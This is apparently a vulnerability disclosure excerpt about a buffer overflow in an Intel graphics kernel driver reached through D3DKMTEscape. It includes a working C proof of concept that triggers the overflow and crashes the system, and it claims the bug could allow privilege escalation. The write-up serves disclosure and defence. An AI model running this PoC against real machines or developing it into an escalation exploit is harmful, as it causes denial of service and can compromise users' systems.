The subsequent function sub_1400AD9F0 does a memcpy(pPrivateDriverData.buffer + 0xb, 0x200, localbuf + 0xb, 0x200).
The memcpy is called with a fixed size, no checks on the pPrivateDriverData buffer size, which means that if pPrivateDriverData.buffer length is smaller than 0x200 + 0xb, an overflow will be triggered. This overflow can lead to Escalation of Privileges (by utilizing a null pointer dereference exploitation method) or local Denial of Service.

Proof of Concept
The following PoC calls the D3DKMTEscape function with previously mentioned parameters that will trigger the vulnerable function and the system will crush due to security cookie check failure. The full code is in the Escape directory which contains a visual studio solution:

#define BUF_SIZE 100
static const char* intel = "Intel";
typedef struct {
	UINT unknown1;
	UINT unknown2;
	UINT escape_jmp_table_index;
	UINT switchcase_index;
	char buffer[BUF_SIZE];
} PrivateDriverData;
int main()
{
	int result = 0;
	DRIVER_INFO driverInfo = { 0 };
	D3DKMT_ESCAPE escapeObj = { 0 };
	PrivateDriverData data = { 0 };
	int status = initDriver(&driverInfo, intel);
	if (!NT_SUCCESS(status)) {
		printf("Could not initialize connection to driver");
		return -1;
	}
	printf("[+] Initialized driver\n");
	escapeObj.Type = D3DKMT_ESCAPE_DRIVERPRIVATE;
	escapeObj.hAdapter = driverInfo.hAdapter;
	escapeObj.hDevice = (D3DKMT_HANDLE)NULL;
	data.unknown1 = 'AAAA';
	data.unknown2 = 'BBBB';
	data.escape_jmp_table_index = 1;
	data.switchcase_index = 205; // vulnerable case
	memset(data.buffer, 'A', BUF_SIZE);
	escapeObj.pPrivateDriverData = (void*)&data;
	escapeObj.PrivateDriverDataSize = sizeof(data);
	status = D3DKMTEscape(&escapeObj); // Will not return, it will crash the system.
	if (!NT_SUCCESS(status)) {
		printf("[-] D3DKMTEscape failed (%x)", status);
	}
	getchar();
	return 0;
}

Result in WinDbg:


We can see in the above screenshot that a buffer overflow occurred, and the system crashes.